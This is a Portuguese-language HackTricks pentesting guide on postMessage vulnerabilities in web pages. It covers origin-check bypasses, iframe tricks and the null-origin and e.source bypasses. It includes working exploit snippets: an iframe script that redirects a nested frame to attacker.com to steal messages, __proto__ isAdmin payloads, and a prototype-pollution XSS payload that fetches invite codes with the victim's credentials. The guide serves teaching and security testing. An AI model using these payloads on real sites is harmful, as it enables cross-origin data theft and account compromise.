hacktricks/pentesting-web/postmessage-vulnerabilities
2024-01-01 18:32:14 +00:00
..
blocking-main-page-to-steal-postmessage.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
bypassing-sop-with-iframes-1.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
bypassing-sop-with-iframes-2.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
README.md Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu 2024-01-01 18:32:14 +00:00
steal-postmessage-modifying-iframe-location.md Translated to Portuguese 2023-06-06 18:56:34 +00:00

Vulnerabilidades PostMessage

Vulnerabilidades PostMessage

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Enviar PostMessage

PostMessage utiliza a seguinte função para enviar uma mensagem:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Observe que targetOrigin pode ser um '*' ou uma URL como https://company.com.
No segundo cenário, a mensagem só pode ser enviada para aquele domínio (mesmo que a origem do objeto window seja diferente).
Se o coringa for usado, mensagens poderão ser enviadas para qualquer domínio, e serão enviadas para a origem do objeto Window.

Atacando iframe & coringa em targetOrigin

Como explicado neste relatório se você encontrar uma página que pode ser iframed (sem proteção X-Frame-Header) e que está enviando mensagens sensíveis via postMessage usando um coringa (*), você pode modificar a origem do iframe e vazar a mensagem sensível para um domínio controlado por você.
Observe que se a página pode ser iframed mas o targetOrigin está definido para uma URL e não para um coringa, este truque não funcionará.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

Exploração de addEventListener

addEventListener é a função usada pelo JS para declarar a função que está esperando postMessages.
Um código semelhante ao seguinte será utilizado:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

Note neste caso como a primeira coisa que o código está fazendo é verificar a origem. Isso é extremamente importante, principalmente se a página for fazer algo sensível com a informação recebida (como mudar uma senha). Se não verificar a origem, atacantes podem fazer com que vítimas enviem dados arbitrários para esses endpoints e mudem as senhas das vítimas (neste exemplo).

Enumeração

Para encontrar ouvintes de eventos na página atual, você pode:

  • Procurar no código JS por window.addEventListener e $(window).on (versão JQuery)
  • Executar no console das ferramentas de desenvolvedor: getEventListeners(window)

  • Ir para Elementos --> Ouvintes de Eventos nas ferramentas de desenvolvedor do navegador

Bypasses de verificação de origem

  • event.isTrusted é Verdadeiro quando o evento foi gerado por uma ação do usuário. Não é realmente contornável se corretamente aplicado, mas vale a pena mencionar.
  • Se indexOf() for usado para verificar a origem do evento PostMessage, lembre-se de que pode ser facilmente contornado como no exemplo a seguir:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • Se search() for usado para validar a origem, pode ser inseguro. De acordo com a documentação de String.prototype.search(), o método recebe um objeto de expressão regular em vez de uma string. Se algo além de regexp for passado, será implicitamente convertido em regex.
    Em expressão regular, um ponto (.) é tratado como um coringa. Um atacante pode tirar vantagem disso e usar um domínio especial em vez do oficial para burlar a validação, como em:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • Assim como no exemplo anterior, match() também verifica uma regex, então se a regex estiver malformada, ela pode ser bypassável.
  • Se a função escapeHtml for usada, a função não cria um objeto new escapado, em vez disso, ela sobrescreve propriedades do objeto existente. Isso significa que se conseguirmos criar um objeto com uma propriedade controlada que não responda a hasOwnProperty, ela não será escapada.
// Expected to fail:
result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

O objeto File é perfeito para este exploit, pois possui uma propriedade name somente leitura que é usada pelo nosso template e irá contornar a função escapeHtml.

e.origin == window.origin bypass

Quando uma página está embutida em um iframe sandboxed através de <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">, o origin desse iframe será null.

Quando o valor de sandbox allow-popups está definido, então o popup aberto irá herdar todos os atributos sandboxed, a menos que allow-popups-to-escape-sandbox esteja definido.
Assim, abrir um popup de um origin null fará com que window.origin dentro do popup também seja null.

Portanto, se você abrir um iframe sandboxed permitindo popups, e então abrir um popup a partir do iframe, e enviar uma postMessage do iframe para o popup, ambos os origins são null, então: e.origin == window.origin == null

Para mais informações leia:

{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}

Contornando e.source

É possível verificar se a mensagem veio da mesma janela em que o script está ouvindo (especialmente interessante para Content Scripts de extensões de navegador para verificar se a mensagem foi enviada da mesma página):

// If its not, return immediately.
if( received_message.source !== window ) {
return;
}

Você pode forçar o e.source de uma mensagem a ser nulo criando um iframe que envia a postMessage e é imediatamente deletado.

Para mais informações leia:

{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}

Bypass do X-Frame-Header

Para realizar esses ataques idealmente você conseguirá colocar a página web da vítima dentro de um iframe. Mas alguns cabeçalhos como X-Frame-Header podem impedir esse comportamento.
Nesses cenários, você ainda pode usar um ataque menos discreto. Você pode abrir uma nova aba para a aplicação web vulnerável e se comunicar com ela:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Roubando mensagem enviada para o iframe filho bloqueando a página principal

Na página a seguir, você pode ver como poderia roubar dados sensíveis de postmessage enviados para um iframe filho ao bloquear a página principal antes de enviar os dados e abusar de um XSS no filho para vazar os dados antes de serem recebidos:

{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}

Roubando mensagem modificando a localização do iframe

Se você pode colocar um iframe em uma página web sem o cabeçalho X-Frame-Header que contém outro iframe, você pode mudar a localização desse iframe filho, então se ele está recebendo um postmessage enviado usando um coringa, um atacante poderia mudar a origem desse iframe para uma página controlada por ele e roubar a mensagem:

{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}

postMessage para Poluição de Protótipo e/ou XSS

Em cenários onde os dados enviados através de postMessage são executados por JS, você pode colocar um iframe na página e explorar a poluição de protótipo/XSS enviando o exploit via postMessage.

Um par de XSS muito bem explicados através de postMessage podem ser encontrados em https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Exemplo de um exploit para abusar de Poluição de Protótipo e depois XSS através de um postMessage para um iframe:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

Para mais informações:

Referências

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: